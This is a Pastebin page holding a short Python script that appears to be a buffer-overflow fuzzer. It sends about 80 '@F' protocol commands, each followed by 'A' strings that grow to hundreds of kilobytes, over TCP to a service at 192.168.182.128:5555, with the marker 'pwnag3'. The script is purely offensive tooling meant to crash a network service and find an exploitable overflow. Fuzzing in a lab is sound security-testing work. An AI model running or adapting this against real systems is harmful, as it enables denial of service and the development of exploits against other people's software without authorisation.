Advertisement
Guest User

Untitled

a guest
Feb 10th, 2013
604
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.10 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3. import time
  4. buffer=["A"]
  5. counter=2
  6. while len(buffer) <= 100:
  7.     buffer.append("A"*counter)
  8.     counter=counter+3000
  9. commands=['@F506','@F605','@F000','@F606','@F503','@F505','@F605','@F607','@F608','@F700','@F701','@F702','@F703','@F507','@F555','@F599','@F601','@F602','@F603','@F604','@F504','@F101','@F102','@F103','@F104','@F105','@F106','@F107','@F108','@F109','@F110','@F111','@F201','@F202','@F203','@F204','@F205','@F206','@F207','@F208','@F209','@F210','@F211','@F212','@F213','@F299','@F301','@F302','@F303','@F304','@F305','@F306','@F307','@F308','@F309','@F310','@F311','@F312','@F313','@F314','@F315','@F316','@F317','@F318','@F319','@F320','@F350','@F351','@F360','@F370','@F401','@F402','@F403','@F404','@F405','@F406','@F407','@F408','@F500','@F501','@F502',]
  10.  
  11. for command in commands:
  12.     for string in buffer:
  13.         print "Sending the "+command+" command with "+ str(len(string))+"bytes."
  14.         s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  15.         connect=s.connect(('192.168.182.128',5555))
  16.         s.send(command+string+'@\r\npwnag3\r\n\r\n')
  17.         time.sleep(.15)    
  18.         s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement